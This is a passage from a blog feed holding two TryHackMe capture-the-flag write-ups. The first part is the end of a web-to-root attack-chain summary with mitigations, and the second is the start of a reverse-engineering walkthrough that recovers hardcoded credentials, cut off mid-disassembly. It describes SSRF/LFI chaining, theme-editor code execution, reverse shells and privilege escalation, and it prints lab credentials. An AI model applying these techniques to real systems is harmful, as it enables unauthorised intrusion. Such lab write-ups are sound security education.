&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Internal hostname disclosure via custom response header&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;X-Backend-Server&lt;/code&gt; header, port 80&lt;/td&gt;
&lt;td&gt;Revealed the real site name, enabling further vhost enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Unauthenticated internal-only application reachable from outside&lt;/td&gt;
&lt;td&gt;&lt;code&gt;internal.seasurfer.thm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exposed a tool never meant to face the internet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Reflected server-side HTML injection (no output encoding)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;invoice.php&lt;/code&gt; - every &lt;code&gt;$_GET&lt;/code&gt; key echoed raw&lt;/td&gt;
&lt;td&gt;Root cause enabling #4 and #5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;SSRF via HTML-to-PDF rendering&lt;/td&gt;
&lt;td&gt;Receipt generator comment field&lt;/td&gt;
&lt;td&gt;Server made outbound requests to attacker infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Local File Inclusion, reached by chaining the SSRF through an attacker-hosted HTTP redirect to &lt;code&gt;file://&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Receipt generator comment field&lt;/td&gt;
&lt;td&gt;Disclosed &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;wp-config.php&lt;/code&gt; (DB creds + WP secret keys)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Exposed Adminer instance, reachable with leaked DB credentials&lt;/td&gt;
&lt;td&gt;&lt;code&gt;seasurfer.thm/adminer/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full read/write access to the WordPress database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Weak/crackable user password&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;kyle&lt;/code&gt;'s WordPress &lt;code&gt;phpass&lt;/code&gt; hash&lt;/td&gt;
&lt;td&gt;Cracked in seconds with &lt;code&gt;rockyou.txt&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Authenticated RCE via WordPress Theme File Editor&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wp-admin&lt;/code&gt; -&amp;gt; Appearance -&amp;gt; Theme File Editor&lt;/td&gt;
&lt;td&gt;Direct PHP code execution as the web server user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Unsafe &lt;code&gt;tar&lt;/code&gt; wildcard usage in a privileged cron job, over a web-writable directory&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/internal/maintenance/backup.sh&lt;/code&gt; (runs every minute)&lt;/td&gt;
&lt;td&gt;Local privilege escalation from &lt;code&gt;www-data&lt;/code&gt; to &lt;code&gt;kyle&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;World/group-accessible leftover SSH agent socket + permissive &lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; sudo rule&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/tmp/ssh-*/agent.*&lt;/code&gt;, &lt;code&gt;/etc/pam.d/sudo&lt;/code&gt;, &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Local privilege escalation from &lt;code&gt;kyle&lt;/code&gt; to &lt;code&gt;root&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;X-Backend-Server header leak
        |
        v
seasurfer.thm discovered (WordPress) --&amp;gt; ffuf finds /adminer/ (no creds yet)
        |
        v
ffuf vhost fuzz discovers internal.seasurfer.thm
        |
        v
Receipt generator (invoice.php) - unsanitized $_GET echoed into rendered HTML
        |
        +--&amp;gt; HTML injection confirmed (&amp;lt;b&amp;gt; test)
        +--&amp;gt; SSRF confirmed (iframe -&amp;gt; attacker http.server callback)
        +--&amp;gt; LFI via SSRF chained through an attacker-hosted PHP redirector (direct file:// payloads failed)
                 |
                 +--&amp;gt; /etc/passwd read
                 +--&amp;gt; wp-config.php read -&amp;gt; DB_USER / DB_PASSWORD leaked
                          |
                          v
                 Adminer login succeeds (wordpressuser / coolDataTablesMan)
                          |
                          v
                 wp_users dumped -&amp;gt; kyle's phpass hash
                          |
                          v
                 john + rockyou.txt -&amp;gt; password "jenny4ever"
                          |
                          v
                 WordPress admin login as kyle
                          |
                          v
                 Theme File Editor -&amp;gt; malicious 404.php -&amp;gt; RCE
                          |
                          v
                 Reverse shell as www-data
                          |
                          v
                 tar wildcard injection in cron backup.sh (web-writable dir)
                          |
                          v
                 Reverse shell as kyle (user.txt)
                          |
                          v
                 Leftover world-usable SSH agent socket + pam_ssh_agent_auth sudo rule
                          |
                          v
                 sudo su -&amp;gt; root (root.txt)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;Recommended Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vhost name leaked via &lt;code&gt;X-Backend-Server&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Remove/strip custom debug headers from production responses; never expose internal hostnames to clients.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal app reachable externally&lt;/td&gt;
&lt;td&gt;Internal-only vhosts should be bound to an internal network interface or protected by network ACLs / a VPN, not merely "unlinked." Security by obscurity (an unlisted vhost) is not a control.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unsanitized &lt;code&gt;$_GET&lt;/code&gt; reflected into rendered HTML&lt;/td&gt;
&lt;td&gt;Always HTML-encode user input before interpolating it into any template (&lt;code&gt;htmlspecialchars()&lt;/code&gt; at minimum); better, use a templating engine with auto-escaping by default.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSRF in HTML-to-PDF rendering&lt;/td&gt;
&lt;td&gt;Disable remote resource loading in the PDF engine (e.g. &lt;code&gt;--disable-local-file-access&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; restrict/deny outbound network access for the rendering process); render from a sanitized DOM/allow-list of tags rather than raw user HTML; run the renderer in an isolated/sandboxed, network-restricted container.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LFI via &lt;code&gt;file://&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Same as above - disable local file access in the renderer, and additionally sandbox the rendering process's filesystem view (chroot/container) so even a successful file-scheme request can't reach sensitive paths like &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secrets in &lt;code&gt;wp-config.php&lt;/code&gt; reachable by the web server process&lt;/td&gt;
&lt;td&gt;Store DB credentials and secret keys outside the webroot or in environment variables / a secrets manager, and ensure the PDF renderer cannot reach arbitrary paths on disk in the first place.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Adminer exposed on the production vhost&lt;/td&gt;
&lt;td&gt;Do not deploy Adminer (or any DB admin tool) on a public-facing, production host; if needed, bind it to localhost and tunnel/VPN, add IP allow-listing, and require strong, unique credentials and MFA where supported.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak, crackable password (&lt;code&gt;jenny4ever&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Enforce a strong password policy / minimum entropy for all accounts, especially privileged WordPress and system accounts; consider MFA on &lt;code&gt;wp-admin&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Theme File Editor enabled for admin accounts&lt;/td&gt;
&lt;td&gt;Disable the Theme/Plugin File Editor (&lt;code&gt;define('DISALLOW_FILE_EDIT', true);&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;); restrict &lt;code&gt;wp-admin&lt;/code&gt; to trusted IPs; apply least privilege to WordPress accounts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;tar&lt;/code&gt; wildcard expansion over a web-writable directory, run by cron&lt;/td&gt;
&lt;td&gt;Never glob (&lt;code&gt;*&lt;/code&gt;) over attacker-influenceable directories; use &lt;code&gt;tar --&lt;/code&gt; with explicit file lists, or `find ... -print0 \&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Leftover/forwarded SSH agent socket left world/group accessible&lt;/td&gt;
&lt;td&gt;Never leave forwarded agent sockets reachable by other local users; use {% raw %}&lt;code&gt;ssh -o ForwardAgent=no&lt;/code&gt; by default and only forward deliberately and briefly; tighten socket permissions; avoid long-lived background processes (&lt;code&gt;sleep infinity&lt;/code&gt;) that hold onto sensitive file descriptors/sockets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; trusting any reachable agent-held key for &lt;code&gt;sudo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Scope &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt; tightly and audit it regularly; prefer standard password or hardware-token-based sudo authentication unless the operational need for agent-based sudo is well understood and the agent exposure is tightly controlled; monitor for anomalous &lt;code&gt;sudo&lt;/code&gt; sessions authenticated this way.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;HTML to PDF converters: can I hack them? - Tempest Security, SideChannel blog: &lt;a href="https://www.tempest.com.br/sidechannel/en/html-to-pdf-converters-can-i-hack-them" rel="noopener noreferrer"&gt;https://www.tempest.com.br/sidechannel/en/html-to-pdf-converters-can-i-hack-them&lt;/a&gt; (background on SSRF/LFI techniques against server-side HTML-to-PDF renderers, used to guide Section 3.3 - 3.4)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; man page: &lt;a href="https://manpages.ubuntu.com/manpages/bionic/man8/pam_ssh_agent_auth.8.html" rel="noopener noreferrer"&gt;https://manpages.ubuntu.com/manpages/bionic/man8/pam_ssh_agent_auth.8.html&lt;/a&gt; (used to understand the sudo PAM configuration in Section 7.2 - 7.4)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Flags have been redacted in this report per request. &lt;code&gt;machine-ip&lt;/code&gt; refers to the lab target and &lt;code&gt;attacker-ip&lt;/code&gt; refers to the attacker host; neither is publicly routable.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>cybersecurity</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe: Binary Heaven - Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 28 Sep 2026 15:34:24 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-binary-heaven-writeup-12bp</link>
      <guid>https://dev.to/exploitnotes/tryhackme-binary-heaven-writeup-12bp</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;A locked-down TryHackMe box gating SSH access behind two credential-checking binaries: a small C program with an anti-debug/obfuscated string comparison, and a statically linked Go binary hiding a plaintext password in &lt;code&gt;.rodata&lt;/code&gt;. Static reverse engineering in Ghidra and GDB recovers both credentials and yields SSH access as &lt;code&gt;guardian&lt;/code&gt;. From there, a 32-bit SUID binary with no stack canary is exploited via classic &lt;strong&gt;ret2libc&lt;/strong&gt; (using a libc address the binary leaks for free) to escalate to &lt;code&gt;binexgod&lt;/code&gt;. Finally, a root-owned SUID binary that calls &lt;code&gt;system()&lt;/code&gt; with an unqualified &lt;code&gt;echo&lt;/code&gt; inside &lt;code&gt;/usr/bin/env&lt;/code&gt; is abused via &lt;strong&gt;PATH hijacking&lt;/strong&gt; to spawn a root shell, despite the binary's attempt to drop privileges beforehand.&lt;/p&gt;

&lt;p&gt;See the Complete Attack Chain at the end for the condensed version of the whole path.&lt;/p&gt;




&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Machine:&lt;/strong&gt; Binary Heaven&lt;br&gt;
&lt;strong&gt;Attacker IP:&lt;/strong&gt; 10.x.x.x (Kali)&lt;br&gt;
&lt;strong&gt;Target IP:&lt;/strong&gt; 10.49.188.50&lt;/p&gt;


&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Downloaded and unzipped the provided credentials archive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unzip credentials_1614324056485.zip
file angel_&lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go binary), not stripped
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two binaries - a small C program and a Go program - both gating some kind of login prompt.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 1 - angel_A (Anti-Debug + Obfuscated Username Check)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;strings angel_A&lt;/code&gt; showed the binary calls &lt;code&gt;ptrace&lt;/code&gt;, and the prompt text gave away the anti-debug gimmick directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ
Say my username &amp;gt;&amp;gt;
That is not my username!
Correct! That is my name!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Loaded the binary into &lt;strong&gt;Ghidra&lt;/strong&gt; rather than fighting the check live in GDB - since the process never gets &lt;code&gt;ptrace&lt;/code&gt;'d by us, the self-detection branch never fires, and static analysis sidesteps it entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decompiling main()
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;lVar1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ptrace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PTRACE_TRACEME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;param_5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;param_6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;param_2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lVar1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ/n%22"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x1b\36&lt;/span&gt;&lt;span class="s"&gt;m&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Say my username &amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="se"&gt;\x1b\0&lt;/span&gt;&lt;span class="s"&gt;m"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;fgets&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;local_c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x1b\32&lt;/span&gt;&lt;span class="s"&gt;m&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Correct! That is my name!&lt;/span&gt;&lt;span class="se"&gt;\x1b\0&lt;/span&gt;&lt;span class="s"&gt;m"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;local_15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;local_c&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;local_c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x1b\31&lt;/span&gt;&lt;span class="s"&gt;m&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;That is not my username!&lt;/span&gt;&lt;span class="se"&gt;\x1b\0&lt;/span&gt;&lt;span class="s"&gt;m"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not a plain &lt;code&gt;strcmp&lt;/code&gt; - a byte-by-byte loop comparing each input character, transformed as &lt;code&gt;(input_char ^ 4) + 8&lt;/code&gt;, against a global array &lt;code&gt;username&lt;/code&gt;, stored as full 4-byte ints rather than a packed &lt;code&gt;char[]&lt;/code&gt; (visible in the listing as &lt;code&gt;6b 00 00 00 79 00 00 00 ...&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  Extracting and inverting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00104060  6b 00 00 00 79 00 00 00 6d 00 00 00 7e 00 00 00
          68 00 00 00 75 00 00 00 6d 00 00 00 72 00 00 00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Low bytes: &lt;code&gt;0x6b 0x79 0x6d 0x7e 0x68 0x75 0x6d 0x72&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;raw_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x6b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x72&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;raw_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;guardian
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./angel_A
Say my username &amp;gt;&amp;gt; guardian
Correct! That is my name!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;guardian&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 2 - angel_B (Go Binary Password Check)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;strings angel_B&lt;/code&gt; was too noisy (full Go runtime symbol table, GC internals). Went straight to GDB:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb ./angel_B
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; info functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Surfaced &lt;code&gt;main.main&lt;/code&gt; cleanly. Disassembled it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;          &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nv"&gt;length&lt;/span&gt; &lt;span class="nb"&gt;ch&lt;/span&gt;&lt;span class="nv"&gt;eck&lt;/span&gt; &lt;span class="err"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"GOg0esGrrr!"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="mh"&gt;0x4a54a1&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x4a54a1:&lt;/span&gt;
